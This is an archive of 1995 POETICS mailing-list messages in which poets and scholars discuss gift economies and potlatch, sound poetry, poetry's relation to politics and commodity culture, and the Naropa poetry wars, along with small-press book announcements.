> *I think it's great that Derrida and Cixous and others have written of gift and potlatch, but I also think it's a great benefit of being in this nation (oh my that sounds awfully patriotic, which isn't the intent) that you can witness potlatch. I certainly don't know the customs of all the peoples in various communities, pueblos, and reservations in this country, but I know that a lot of ceremonies in various places are open. The first potlatch I witnessed was during the Chief Lookingglass Festival on Nez Perce lands in Idaho. The acts of giving thanks and honoring by giving in a very public way was extremely moving, but also quite practical as a way of sharing goods in a community. And how can you not love the concept that one is wealthy by virtue of what one gives away. I can only hope this has a great deal to do with our poetry, with our poetics.*

Charles--

It's worth keeping in mind the aggression & violence of potlatch--see Mauss, Bataille in /The Accursed Share/ and elsewhere, Baudrillard, the redaction by Julian Pefanis in /Heterology/, etc.

"but it rarely goes to the point of holocaust," says Bataille. A reassuring assertion, KIND of.

besos.

T.

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228. Ron Silliman
Re: verbatim gift from my TV set
Wed 11 Oct 1995

You wrote:
>
>>"When people are asked
>> what kind of lawn tractor they'd
>> like for a gift,
>> most say the same thing:
>
>"What in Hell is a 'lawn tractor'?"
>>

>>
>
If you lived in the suburbs of the half-acre and up lot size, you'd never have to ask. It is exactly what it says it is--essentially a lawn mower on steroids (you ride it instead of push it).

And it will drown out the sound of any didgeridoo.

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229. **Ron Silliman**
Quality is job one
Wed 11 Oct 1995

I'm not so certain that Mark and Gale really do disagree, so much as that they're articulate different facets of the same phenomenon.

I think that there is an inherent value in and for poetry (and all of the other arts) as exemplary discipline, of value in and for itself, without the usual break between means and ends that muddies up so much of daily life. An instance of "unalienated" labor at its best.

Yet the poem (and poet) must also exist in and of the world itself and to the degree that the "tactics" of the world are the same mechanisms by which the poem (and poet) must survive, it is far better to use them cogently than to put on blindfolds and pretend they're not there.

And I think both facets of this phenomenon are at play with one another all the time.

One of the reasons that I think it is so hard for poets who go directly from some student status into teaching (at least if that is at the college level) is that there is an (inherent) conflict between the poem and the job that sets it up as very difficult to conceive of as unalienated labor. I think one can read this "ambivalence" in great detail in almost all of Michael Davidson's work, someone who has taken his role as a teacher with great seriousness his entire career and never flinched from acknowledging its impact on his poetry, although he is often conflicted about how he "feels" about that.

In some sense, it is far easier to be a PR guy or gal, to work in a bookstore, do political organizing, be a shop manager, a prison guard or whatever and to write poetry. All these other people also tend to look at their poetry in terms of whatever job they might have, but the allegorical functions are less occluded. I'd be curious about the parallels that a "carceral" poet might find.

I actually spent one afternoon last week explaining to a PR firm in NYC that the reason Ford's tagline "Quality is job one" works is because of the three short

syllables in the first word balanced by the three one syllable words on the far side of the caesura, and that every good tag line demonstrates a distinct formal element recognizable to anyone.

Here's to Lew Welch's Raid campaign: "Raid Kills Bugs Dead"

Ron Silliman

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230. Ron Silliman
Re: Yonder
Wed 11 Oct 1995

Herb Levy "says"
>
>I think that one of the possible problems with "sound poetry" is that people try to read or hear it more as "poetry" than as "sound."
>
>So I have another question for you, Ron:
>
>Does all instrumental music "say the same thing"?
>
At one level, yes. And since my three-year-old boys were born, I have found myself listening to very little music whatsoever, preferring silence equally over Pavarotti, Public Enemy or Partch. At another level, that word "say" is precisely what I look for in the poem that I don't in music (even though, listening to the Don Was bio of Brian Wilson recently, one can parse even the most banal beach lyrics and discover a wealth underneath if one is trained in the history of the simplest chord changes).

There is a level of articulation in the work of Bruce Ackley that I will never find in the horns of the brothers Marsallis.

But I am intrigued in your argument (implicit) that sound poetry is better understood not as poetry. Why, then, call it such?

Ron

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231. **Maria Damon**
Re: No Subject
Wed 11 Oct 1995

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someone wrote "(money is also a kind of poetry)"-- yes, which is why in the TAROT, coins symbolize ideas and intellectual labor, because it is circulation that makes ideas be in the world, like money --doesn't derrida write about this in some long-forgotten-by-me essay?--md

↑ Index

232. **Mark Wallace**
poetry and power
Wed 11 Oct 1995

On the subject of poetry and power:

Actually, I was a bit surprised that Charles Alexander directed his comments at what Gale Nelson said--if anything, it was me and not Gale who was saying that poetry is influenced by commodity relationships. I think I'm going to keep saying it, though. I wouldn't say, however, either that all poets are motivated by desires for power, or that all poets are not motivated by desires for power. I have no doubt that individuals are vastly individual. But I would say that poetry is not FREE from the struggles of ideology and power--and production. This is I think where Gale and I differ, although not, I think, absolutely. I do agree with Gale that I'd rather be devoting my time to the world of poetry than to the world of advertising/business, whatever--after all, I DO devote myself to poetry. But I think that the difference is one of kind and degree, not of absolute opposition. I think it's true that poets--and perhaps especially experimental poets, whose opportunities are so damnably limited--have to play incredibly close attention to the social dynamics of the world of book production, and that they have to do a fair amount of social manuevering if they want to have any chance at all of surviving as publishing writers. "Tactics" is of course far too military a word for all the various social interactions of poets, but not, I think, for SOME of those interactions, and even for some of the most valuable ones--I'm thinking now of the highly political manuevering of poets on this list like Carolyn Forche, Marjorie Perloff, Joe Ross, Charles Bernstein, and Ron Silliman, among many others, people who have sat on high profile political committees on literature or who have been blatantly public figures who in various circumstances have PLAYED POLITICS in the cause of promoting and protecting poetry. People who are willing to stand up in that way have done worlds of good, and I think even those poets who are not inclined personally towards directly politicized action on the part of poetry (some are not, and that seems fine to me) owe people who do do such things at least a certain level of

respect. These problems, for me, broaden out to include many others. Is politics, for instance, by definition a bad thing? I always thought that the right to engage in political activity was one of the incredible virtues of a free country. IN that sense, one of the huge problems with the United States is NOT that people play politics, but that in so many ways they are PROHIBITED from playing politics. Is poetry entirely about the politics of commodity production? Of course not. Is the world of poetry hugely influenced by the politics of commodity production? Of course.

Mark Wallace

P.S: Steve Evans' recent comments about the situation of small magazines really deserve close attention--nice work, Steve.

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233. Alan Golding
Rolf Harris
Wed 11 Oct 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Ah yes--Ann Vickery provides a blast from my colonial past in England when she mentions Rolf Harris' "Tie me kangaroo down, sport." In the earliest exampleofaural slippage I can remember experiencing, I thought, round about age 8 or 9, that the line/title was "Tiny Kangaroo Downsport." I remember thinking that Downsport seemed like rather an odd name for a tiny kangaroo, but, being an open-minded child, I was willing to go along with the program. When I discovered the "right" version, the song suddenly seemed a lot less interesting.

Later, it took me years to realize that Hendrix was not singing, "'Scuse me while I kiss this guy."

Alan

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234. Steve Evans
Tsunami/Object
Wed 11 Oct 1995

For Jordan and others who have asked:

Kevin Davies's PAUSE BUTTON can be obtained from:

> Tsunami Editions
> Box 3723 MPO

Vancouver, BC
V6B 3Z1

This address is taken from the back of the excellent new RADDLE MOON. I don't know the current asking price. Information in the book itself indicates that SPD should be distributing it, but I don't see a listing in the most recent (which is not very recent) catalogue.

=====

You can order OBJECT magazine ($5 individual copy/$8 per year) from Robert Fitterman at

7-13 Washington Square North #47B
New York, NY 10003.

#4 is the Kocik issue, #5 has the Rod Smith Feature plus work by Joan Retallack, Milo DeAngelis, Bill Howe, Joe Elliot, Vallerie Fox, Jennifer Moxley, Bill Luoma, Michael Basinski, Dirk Rowntree, Judith Goldman, Steven Farmer, Tim Davis.

=====

a t s u o o o s
r i a t n m u

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235. Loss Glazier
Texts about poetics "sound"
Wed 11 Oct 1995

Can anyone recommend to me great texts on poetic sound? Sound as "material," etc. as a contemporary poetic. Any thoughts would be appreciated.

Thanks,
Loss
[redacted]

↑ Index

236. Gale Nelson
Re: I want to help it, but I can't
Wed 11 Oct 1995

Charles,

I likely over-romantacize poets as being better than we are -- I'm always disappointed (perhaps read afraid?) to think of us as maneuvering for the right to be "the famous" new writer taught in half a dozen workshops and

classrooms. I like to think that poets respect the writers they read/teach for the work, period. I like to think that poets get invited to give readings, have work taken by journals, etc., because those who are managing reading series, journals, etc. care about the work, not because the poet in quetion could do them some good. I share Mark's belief that advocacy for poetry is an important thing to undertake -- I have to admit to thinking of the advocacy in idealistic rather than tactical terms (I assume that the advocate cares about what/who s/he brings to the arena in enthusiastic terms, and does so because of that enthusiasm, not because it will provide appreciation/opportunity for the advocate). I bristle over self-promotion because I tend to think that the work gets suffocated. I do not bristle over a press or journal or reading series trying to build an audience for the writers/texts being featured via that venue because it then becomes a form of advocacy. It may be the kind of fine line that crumbles under close examination -- and it may not be fair for me to hold the poetry world up to a set of standards that no one has accepted as appropriate. I do believe that what we gain by writing poetry rather than other more commodity- oriented texts is the freedom to pursue, to take risks, to nurture, to respect, to be passionate, all outside of the dominant structure of corporate hype. We have the opportunity to create worlds anew -- oh idealistic statement -- and I sense that we are best able to do this when our new worlds do not mimic the one we (read more accurately "I") am wholly wary of.

Sincerely (perhaps too?),

Gale Nelson

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237. Charles Smith
Re: Tsunami/Object
Wed 11 Oct 1995

SPD does have this, for $10.00. --CS

Kevin Davies's PAUSE BUTTON can be obtained from:

> Tsunami Editions
> Box 3723 MPO
> Vancouver, BC
> V6B 3Z1

This address is taken from the back of the excellent new RADDLE MOON. I don't know the current asking price. Information in the book itself indicates that SPD should be distributing it, but I don't see a listing in the most recent (which is not very recent) catalogue.

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238. **Edward Foster**
Re: politics (cultural contexts) & derivation
Wed 11 Oct 1995

---

not sure, tod; "theology" is ok as in anything that platonizes gnosticism; as for "offensive" poetics, that's a contradiction in terms. poetics always comes after, as explanation or just as something to talk about, since poetry does not lend itself to that. and what is a center of/for philosophy? after heidegger, where's the center. "mediation" makes sense, but philosophy doesn't mediate, rather points to that horizon where mediation occurs. no? -ed

↑ Index

239. **Edward Foster**
Re: No Subject
Wed 11 Oct 1995

---

yes, it was stevens who said that money is a kind of poetry, and if anyone should'a it, it was he.

↑ Index

240. **Aldon L. Nielsen**
Re: the gift of a tractor
Wed 11 Oct 1995

---

and don't overlook Derrida's _The Gift of Death_ WHILE WE'RE AT IT

Steve: I would like to think that your reponse is the "same thing" that most people say in response to that question -- but then, I drink miracle grow for breakfast --

↑ Index

241. **Loss Glazier**
Re: "Naropa P-Wars"
Wed 11 Oct 1995

I've been straining here to think: isn't there one more very famous account of this incident somewhere? Does anyone recall this?

> If you're going to check out Tom Clark's The Great Naropa Poetry
> Wars, you'll also want to look at the project on that
> now-mythological Merwin-Trungpa confrontation produced by Ed
> Sanders' 1977 Investigative Poetry class at Naropa. It's called The
> Party: A Chronological Perspective on a Confrontation at a Buddhist
> Seminary (Poetry, Crime and Culture Press: Woodstock, NY,

> 1977). This does, I think, have implications for poetics beyond the
> talk-show level, esp. if read along with Sanders' 1976 chapbook
> Investigative Poetry (City Lights).

↑ Index

242. John Lavagnino
Call for papers: Poetry and computers (1996 MLA)
Wed 11 Oct 1995

I'm organizing two sessions for next year's MLA convention (in Washington, DC, from December 27 through 30, 1996) on behalf of the Assocation for Computers and the Humanities.

And the subject is:

Poetry and Computers. The role of computers in any aspect of the composition, cultivation, dissemination, or study of poetry.

Detailed proposals or 8-page papers by 1 March 1996 to
John Lavagnino, 117 Pratt Street, Providence, RI 02906-1412 USA;
[redacted].

The Association for Computers and the Humanities is a professional society for scholars working in computer-related research in literature and language studies, history, philosophy, and other disciplines of the humanities. For information on joining the ACH, contact Charles Bush, ACH Treasurer ([redacted]).

John Lavagnino
[redacted]

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243. A. Morris
Re: gifts
Wed 11 Oct 1995

Though I would agree with Tenney Nathanson about the second part of Hyde's The Gift, the first part--"A Theory of Gifts"--strikes me as right in ways I've never seen discussed before. "Works of art exist simultaneously in two 'economies,'" he says, "a market economy and a gift economy." I like his discriminations between "labour" and "work" as well as his exploration of the obligations of entering into the gift economy: the necessity to give, to receive, and after a mysterious time during which one assimilates a gift, to reciprocate. In the second part, he does better with Pound than with Whitman. What he

does is not "theory" so much as mulling an idea--but, at least to me, that idea explains a lot.

Dee

On Tue, 10 Oct 1995, Tenney Nathanson wrote:

> *Date: Tue, 10 Oct 1995 10:41:51 -0400*
> *From: Ann Lauterbach <[redacted]>*
> *Subject: Re: POETICS Digest - 7 Oct 19...*
>
> *Re: the gift: on a wider canvas, you might look at Lewis Hyde's The Gift: Imagination and the Erotic Life of Property (Vintage) which explores the art of the gift of art giving in other cultures as well as our own. "There's no irony in cyberspace" ....isn't that a line from O'Hara, you know the one that ends "Lana Turner we love you get up"?*
>
> *Ann--*
>
> *but isn't Hyde a little cheesy? The stuff on Whitman, at any rate, gets at something important but at the cost of a kind of euphoric sentimentalizing of the "pomes" (I think). It's the "as well as our own" part that's the problem, I think: so that Baudrillard, w his sense of how simulation overtakes the gesture, may be preferable (though his evocation of "true" gift exchange is doubtless sentimentalized too).*
>
> *hailing hits you on the head, hard, so it hurts....*
>
> *(but I've never actually collapsed)*
>
> *(and isn't there an "o"?)*
> *(apostrophes will not be permitted on the funicular)*
>
> *best,*
>
> *Tenney Nathanson*

↑ Index

244. Steve Carll
Re: poetry and politics
Wed 11 Oct 1995

Jeff Hanson wrote:

> *And we are still stuck with it. How often is a poet praised because of being "wholly original"? What the hell does it mean to be "wholly original" when the language predates every user, including the poet?*

"Original" means "of the origin." The origin is the source or wellspring, so something original reaches back deep into this source, makes contact with what is originary. The reduction to a denotation of "newness" may stem from the fact that what has had the accretion of familiarity stripped from it so that its originariness shines through seems to be new, seems to be a new origin. But I don't take it that way anymore, personally. One origin is enough for me to spend my life exploring. I don't need a new one for every season like the fashion designers want us to want.

↑ Index

245. **Steve Carll**

Re: something else lies do

Wed 11 Oct 1995

> *I'm a little troubled by the heavy discourse surrounding lying by the state that's lingering on the list. Lying--saying something the truth value of which does not correspond to the facts--is the beginning of imagining, eh? Which is our _responsibility_ (and correspondingly, my fellow third-graders of the soul, our _right_). Unless of course there's no connection between lying and poetry (and we have to have our lines polygraphed and pentatholed).*
>
> *Jordan*

I think I read recently a Niels Bohr quote epigraphing a Spencer Selby poem to the effect of: "The opposite of a correct statement is a false statement. The opposite of a profound truth, however, may well be another profound truth." So I guess it depends on whether you see poetry as making a series of statements that can be compared with other statements previously admitted as "correct", or as an expression of a profound truth to oppose the profound truth of the world it stands out in and against.

Steve

↑ Index

246. **cris cheek**

Re: Yonder / friendship / gifts and sound

Wed 11 Oct 1995

I'm quoting part of something written by Peter Middleton about my own work - but with the intention that it is a useful contribution to these discussions at this time. (It's from Pages - Alan Golding mentioned this series recently). I should add that I welcome this approach and that the criticism that Peter spots within my attempt to problematicise almost everything in poetry, with the above subject headings' conundrums in mind, is a dialogue that I discontinually have

with my continual self - and others. I hope the issues come clear of this. It's, as they say, longish - but i felt it better to quote fully rather than in edited form.

'Social Gifts' ... describes small press books as 'social gifts': in some cases they are used as texts for live events but their interest as books involving social production, as gifts meaning sharing' is what constitutes their value. His largest book to date is entitled 'A Present', and its pun on gift and present-time accurately marks out the ambitions of the work. How can a poem or a book of poetry be a gift, a social gift? Ethnographers contrast commodity systems of exchange used in western cultures with the gift systems found in cultures such as those in Papua New Guinea and more widely in the Pacific region. They don't any longer do this in order to contrast some primtive utopia of altruistic social integration with the individualist greed of a monetary economy. Competition, strategy, manipulation, and greed are elements in such exchanges too. The finiest gifts are rarely if ever given, and become "inalienable possessions" in Annette Weiner's words ('Inalienable Possessions), whose function is to provide historical continuity. Cloth and cloaks made by women can help provide cosmological authentification for the power of their owners, as well as a mnemonic stimulus to cultural memory. A society in which gift exchange dominates, conceives of objetcs, persons and relationships differently to Western culture, because gift exchange is comprehended as the creation of realtionships. Across the islands of this region a form of gift exchange known as the kula trade-ring operates. Men in these islands (the gift produces gender difference too) constantly transfer elaborate armshells and necklaces made of shells as gifts from island to island. Their possession brings fame but they need to be passed on to maintain that prestige, and as the shells travel, especially the more famous kula items which are themselves named and the subject of histories, they create what Nancy Munn calls "an emergent spacetime" ('The Fame of Gawa'). In our culture certain forms of art function very similarly. Paintings are the most obvious but they have become a kind of gift whose commodification has almost completely halted their circulation. Poems behave quite similarly to the kula gifts of these pacific islands because they circulate in acts of giving rather than purchase, acts that run counter to the commodity exchange in which the actual material publications move. As they circulate, poems accrue significance just as kula shells do, so that a poem at its inception and ten years later, may be quite different AS the result of the readings, publications, performances, responses, further poems, which have resulted. The social circulation of art is perhaps deliberately unstudied, its processes, like those of the gift economies, productive of social structures whose maintenance and discovery requires the concentration of unreflexive, unmetacritical working thought. cris cheek's suggestion is unusual for its explicitness. Most poets don't say here is a gift as they present the poem to readers and listeners. In

making its mode explicit cheek names the act and therefore makes the act itself part of his theme. There is a risk in this. The poem may then be either effracted by the glare of the claimed generosity itself or its recipients may bring expectations of gift giving that impose unattainable measures on the poem. For Western cultures the consequencves of gift circulation can be easily lost in the slow dazzle of alleged altruism, holiness and the desirable conformities of seasonal spending and transformation of anonymous goods into gifts. Gift/wrap.

'Taking Onself by Surprise' "The Melanesian World" writes Marilyn Strathern ('Transactions of the Finnish Anthropological Society vol 27, p.25-44), "is one where people constantly take themselves by surprise. And what takes them by surprise are the performances and artefacts they create". For the New Guinea highlanders the European explorers who 'discovered' them, were performers, or better still, simply part of a performance which the highlanders had made possible. What for Westerners appears to be a historical event, was probably experienced as an improvisation - ' the very act of presentation constituted the only context that was relevant'. This sense of performance can be imagined from within our own culture by ethnographic contrast and through the investigations of performance artists like cris cheek. He performs in order to transform what he and the audience know, and what is known is what manifests itself through voice and movement becoming effectively and cognitively significant. Look at what we have just created as it disappears into consequence and wonder what the succession wil bring. For cheek, performance is radically primary, the moent when the poem is made, whatever its written antecedents. A voice can be drawn up from every thronging cell to burst its vocables across large spaces. A control of voice that allows words emotional vividness and almost orchestral phonetic harmonies. Poetry readings commonly turn writing into speech, a strange enough pastime if interpretation is the goal of reading. cheek's performances are strong reminders that sound does signify despite Saussurean linguistics, and is not merely the mute medium in which the system of differences which supposedly alone makes meaning possible. can be generated. As J.H. Prynne writes - "If language is a social code of interactions, in which performance is an expressive procedure within the context of sense-bearing acts, then anything that can count towards meaning may do so: intonation, style-level, choice of words and of their sounds and echoes" ('Stars, Tigers, and the Shape of Words')

more later
love and love
cris

↑ Index

247. Charles Alexander
new books/an offer
Wed 11 Oct 1995

This is a pre-publication announcement for two books from Chax Press, and includes, at the end, a list of other books from the press. As a part of funding these and other books we are seeking to sell as many books as possible in advance of publication. So, if you order and enclose a check with your order for these books by November 15, 1995, we will not charge any shipping/handling charges, and you may deduct $1 per book ordered. Please send orders to Chax Press, P.O. Box 19178, Minneapolis, Minnesota 55419-0178. A snail mail version of this announcement will be mailed within the next week. If you want to receive that (but they are limited; please request only if you intend to order one or more of the books), please email directly to [redacted] with your postal address.

Orders for the new books will be filled as soon as the books are back from the printer, which will be mid-November 1995 for The Said Lands, Islands, and Premises, by Margy Sloan; and mid-January 1996 or sooner for The Bounty, by Myung Mi Kim.

Chax Press Announces

The Said Lands, Islands, and Premises
by Mary Margaret Sloan

&

The Bounty
by Myung Mi Kim

from The Said Lands, Islands, and Premises

> up early waiting for
>
> the trees to explode
> what had been dreamed
>
> ahead of time was found
> coming back as procession
>
> where cloud moves or is
> the rock echoing with false water
>
> small false rock making
> crazed lines careful
>
> maps traverse the sun
> arrows and rays inside

facing south the rock faces us
entering in reverse order

each blank tree with north facing ghost
an echo of the hoard of people foreseen

pace and expanse of speech
utter absence of traffic

"Sloan's passion for words — their lipstick traces and lingering inflections (as grammar would have it) — makes for a poetry of extraordinary pleasure and difficulty. The mind and ear are redirected from inherited sequence to intentional mutation. As consummate artificer, Sloan's skill and gift demand an equally rigorous reading. Her first book assumes the presence of a mature collection and takes American poetry into its next argument."
— Kathleen Fraser

The Said Lands, Islands, and Premises. By Mary Margaret Sloan
ISBN 0-925904-13-9 96 pages $11
available November 1995

from The Bounty

Lilac wander

Soak spine

Unite all three

Father look/mother — task

Mother I

Mast

Horizon

Burn

Salt

From blank to blank / A threadless way

"The tesserae Myung Mi Kim so remarkably fashions here come gradually to form an articulate and coherent pattern, but a pattern in constant process of renewal and reorganization. The fragment becomes entire as it re-searches memory, recovers texts, episodes, sounds and landscapes. The Bounty interrogates the radical and violent instability of our moment, asking where is the location of culture, where the site of self, selves, among others. Its gaps or silences speak as determinedly, and urgently, as its singular music."
— Michael Palmer

The Bounty. By Myung Mi Kim
ISBN 0-925904-21-X 104 pages $12
available January 1996

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Rosmarie Waldrop, Fan Poem for Deshika* $18
Lisa Cooper, The Ballad in Memory* OP
Nathaniel Mackey, Outlantish* $110
Ron Silliman, Demo to Ink $11
Beverly Dahlen, A Reading 8 – 10 $12
Gil Ott, Wheel* $35
Karen Mac Cormack, Quirks & Quillets $8
Susan Bee & Charles Bernstein, Fool's Gold* OP
Sheila Murphy, Teth $9
bp Nichol, Art Facts: A Book of Contexts $15
Charles Bernstein, Four Poems* OP
Larry Evers & Felipe S. Molina, Coyote Songs $8
Mei-mei Berssenbrugge, Mizu* $90
Charles Alexander, Hopeful Buildings $9.95
Lyn Hejinian & Kit Robinson, Individuals $90
Eli Goldblatt, Sessions $9
John Randolph Hall, Zootaxy* $35
Paul Metcalf, Firebird* OP
Karl Young, Five Kwaidan in Sleeve Pages* OP
Charles Alexander, Two Songs* OP
Paul Metcalf, Golden Delicious* OP
Jackson Mac Low, French Sonnets* $75

Forthcoming in 1996
Hank Lazer, Three of Ten
Karen Mac Cormack, The Tongue Moves Talk
Lisa Cooper, & Calling It Snow

* notes deluxe, handmade book arts editions

Enquiries about these books are always welcome.

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thank you,
charles

Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

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248. **Schuchat**
Re: "Naropa P-Wars"
Wed 11 Oct 1995

I believe that Robert Bly either wrote something about it or was interviewed on the subject.

On Wed, 11 Oct 1995, Loss Glazier wrote:

> *I've been straining here to think: isn't there one more very famous account of this incident somewhere? Does anyone recall this?*
> *---*
> *If you're going to check out Tom Clark's The Great Naropa Poetry Wars, you'll also want to look at the project on that now-mythological Merwin-Trungpa confrontation produced by Ed Sanders' 1977 Investigative Poetry class at Naropa. It's called The Party: A Chronological Perspective on a Confrontation at a Buddhist Seminary (Poetry, Crime and Culture Press: Woodstock, NY, 1977). This does, I think, have implications for poetics beyond the talk-show level, esp. if read along with Sanders' 1976 chapbook Investigative Poetry (City Lights).*

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249. **Robert Drake**
Re: 4 horsemen, and soundpoetry yonder...
Thu 12 Oct 1995

---

some four horsemen Lps:

Live in the West Starborne Productions, Toronto 1977
Canadada Griffin House, Toronto 1974
Two Nights ?? --i only have a k7 dub...

as mentioned, Underwich Audiographics (PO 262 Adelaide St. Stn., Toronto ONT M5R 2J4) probably has some stuff; they definately have some solo k7s by bp nichol & i think paul dutton...

jw curry of curvd H&z books (1357 lansdowne Ave., toronto ONT M6H 3Z9) may also be able to track down copies & additional listings; besides dealing in some of this material, i believe he's done some pretty complete biblio/discographies.

---

a _few_ readings on sound poetry:

Sound Poetry: A Catalog, ed. Steve McCaffery & bp nichol;
Underwich editions 1978. excellent survey, particularly
of the canadian scene.

Capilano Review #31, special sound poetry issue, guest editors
Richard Truhlar & Steven Smith; 1984. includes 7" record
w/ Owen Sound, Mara Zibins, 4 Hoursemen, bill bissett &
David UU.

in Leonardo vol. 3:, "Vocal Neighborhoods: a Walk Through the Post-Sound Poetry Landscape" by Larry Wendt; MIT Press 1993. considerably more current, tho straying more toward poetry-as-music, depending on your rigor... accompanying CD includes Brenda Hutchinson, Paul Dutton, Valeri Scherstjanoi, Amanda Stewart, Trevor Wishart, Henri Chopin & David Moss...

as fr ron's challenge to the term "sound poetry": altho its a term i'm comfortable with, i agree that it may lead to misunderstanding. i generally prefer dick higgin's term "intermedia" for various boundry-crossing genres. particularly apt, seems to me, in view ov many scores for soundpoetry, which often draw heavily on various concrete/verbo-visual/graphic poetry techniques...

but as fr "saying the same thing"... hard for me to understand. sit & listen to Ur Sonata side-by-side w/ anything by the horsemen, since those have both

come up recently. it's trivial to note that they don't "say the same thing"--different phonemes, etc... (& i assume you don't mean to say that they all _mean_ the same thing...) but beyond that, they certainly have differing intentions, occur in & address different contexts/audiences, and trigger (for me at least) different emotional and intellectual responses. the difficulty of "translating" or glossing a sound poem doesn't, fr me, mean that it is "meaningless", or that it's only meaning is in it's formal rejection of recognizable morphemes... i dunno, maybe i could respond more clearly if you explained how you hear specific examples of sound poetry "saying the same thing...", what you hear them saying or how you hear the saying said... puzzled, i am

luigi

"'Cleveland' spelled backwards is... DNA Level C.
 Well, that explains a lot!"

↑ Index

250. George Bowering
Re: poetry and politics
Thu 12 Oct 1995

I have to go away to Europe or some such place for 2 months, and I dont want 5000 messages when I get back, and I forget how to get off the BuffNet for a while. Can someone remind me how it's done? Thanks.

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251. R I Caddel
new book
Thu 12 Oct 1995

To my surprise and delight a wonderful new book from Carcanet: Michael Haslam's "A Whole Bauble" (14.95 pounds, isbn 1-85754-187-1). I've been aware of Haslam's work for a long time in magazines, small collections etc., but hadn't really done more than nod to it. I was wrong. Haslam describes himself (in the note at the back): "I think I'm a sort of wayward Prynneite, I suppose, and..." - the kind of cautious inclusion I associate with John Hall and John Riley - both of whom have walk-on parts in "Immediate must be a miracle" which carries the preface "This poem is for / the Empty Classes / of the Cambridge School of Poetry".

But when I came to look for a nice little bit to quote, I couldn't: one bit leads to another, links back to bits earlier, with echo-sequences often very reminicent of

old welsh, which he's often using in one way or another, and bits of speech-sampling from his Yorkshire background, and my favorite Ives quote ("Some of these songs... cannot be sung") and the thing forms such a whole surface that I go on exploring it and forget to look for snappy quotes. Try it.

OK, my second favorite Ives quote: my first (overlooking the gender specific language) is "Stand up - and use your ears like a man!"

x x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

252. Daniel Bouchard/College/hmco

Re: "Naropa P-Wars"

Thu 12 Oct 1995

I've been straining here to think: isn't there one more very famous account of this incident somewhere? Does anyone recall this?

> If you're going to check out Tom Clark's The Great Naropa Poetry
> Wars, you'll also want to look at the project on that
> now-mythological Merwin-Trungpa confrontation produced by Ed
> Sanders' 1977 Investigative Poetry class at Naropa. It's called The
> Party: A Chronological Perspective on a Confrontation at a Buddhist
> Seminary (Poetry, Crime and Culture Press: Woodstock, NY,
> 1977). This does, I think, have implications for poetics beyond the
> talk-show level, esp. if read along with Sanders' 1976 chapbook
> Investigative Poetry (City Lights).

I first read of this incident by way of Eliot Weinberger in an essay collected in, I think, Works on Paper (New Directions). Don't know if it's the one you're thinking of, Loss.

[redacted]

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253. Loss Glazier
Re: turning off mail for a while
Thu 12 Oct 1995

>
> I have to go away to Europe or some such place for 2 months, and I
> dont want 5000 messages when I get back, and I forget how to get off
> the BuffNet for a while. Can someone remind me how it's done?
> Thanks.

George, I'm posting this reply to the list in case others who may have forgotten how to do this might want to make a note of it...

-> To stop mail for an indefinite amount of time, send an e-mail message to:

[redacted]

message, type:

    set poetics nomail

And send the message. You will receive confirmation that you have been set to "nomail." That's all there is to it!

-> When you return and are ready to resume, follow the instructions above but in the body of the message type:

    set poetics mail

Bon Voyage, George!

↑ Index

254. Judy Roitman
Re: "Naropa P-Wars"
Thu 12 Oct 1995

> *I've been straining here to think: isn't there one more very famous account of this incident somewhere? Does anyone recall this?*
> ---
> *If you're going to check out Tom Clark's The Great Naropa Poetry Wars, you'll also want to look at the project on that now-mythological Merwin-Trungpa confrontation produced by Ed Sanders' 1977 Investigative Poetry class at Naropa. It's called The Party: A Chronological Perspective on a Confrontation at a Buddhist Seminary (Poetry, Crime and Culture Press: Woodstock, NY, 1977). This does, I think, have implications for poetics beyond the talk-show level, esp. if read along with Sanders' 1976 chapbook Investigative Poetry (City Lights).*

Being out of the loop, I read it in a semi-mass circulation magazine many years ago. Atlantic Monthly? New Yorker?

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255. Tenney Nathanson
Michael as exemplum (?)
Thu 12 Oct 1995

> *One of the reasons that I think it is so hard for poets who go directly from some student status into teaching (at least if that is at the college level) is that there is an (inherent) conflict between the poem and the job that sets it up as very difficult to conceive of as unalienated labor. I think one can read this "ambivalence" in great detail in almost all of Michael Davidson's work, someone who has taken his role as a teacher with great seriousness his entire career and never flinched from acknowledging its impact on his poetry, although he is often conflicted about how he "feels" about that.*

Ron--

I'd love to hear you say some more about this, unless you think it would be an embarrassment to Michael, who is on the list too, no? But: in the poems let's say, how does the conflict show up (its appearance in the criticism would be less surprising: "I'd rather be fishing" gestures etc., of the sort so riotously displayed by Pound in his early essays and magazine pieces)?

best,

Tenney

↑ Index

256. Tenney Nathanson
and furthermore
Thu 12 Oct 1995

> *Date: Wed, 11 Oct 1995 10:21:41 EDT*
> *From: Alan Golding <[redacted]>*
> *Subject: Rolf Harris*
>
> *Associate Professor of English, U. of Louisville*
> *Phone: [redacted]; e-mail: [redacted]*
>
> *Ah yes--Ann Vickery provides a blast from my colonial past in England when she mentions Rolf Harris' "Tie me kangaroo down, sport." In the earliest exampleofaural slippage I can remember experiencing, I thought, round about age 8 or 9, that the line/title was "Tiny Kangaroo Downsport." I remember thinking that Downsport seemed like rather an odd name for a tiny kangaroo, but, being an open-minded child, I was willing to go along with the program.*

> *When I discovered the "right" version, the song suddenly seemed a lot less interesting.*

"O we like sheep!"

↑ Index

257. Tenney Nathanson
sigh
Thu 12 Oct 1995

> *Date: Wed, 11 Oct 1995 12:40:27 -0500*
> *From: Edward Foster <[redacted]>*
> *Subject: Re: No Subject*
>
> *yes, it was stevens who said that money is a kind of poetry, and if anyone should'a it, it was he.*

I was happily quoting this to someone as "poetry is also a kind of money" when I realized I had it backwards....
mansards R us....

there's also a nice Harold Bloom lobster bombay and mango chutney story out there

↑ Index

258. Tenney Nathanson
yep
Thu 12 Oct 1995

> *Date: Wed, 11 Oct 1995 17:25:51 -0500*
> *From: "A. Morris" <[redacted]>*
> *Subject: Re: gifts*
>
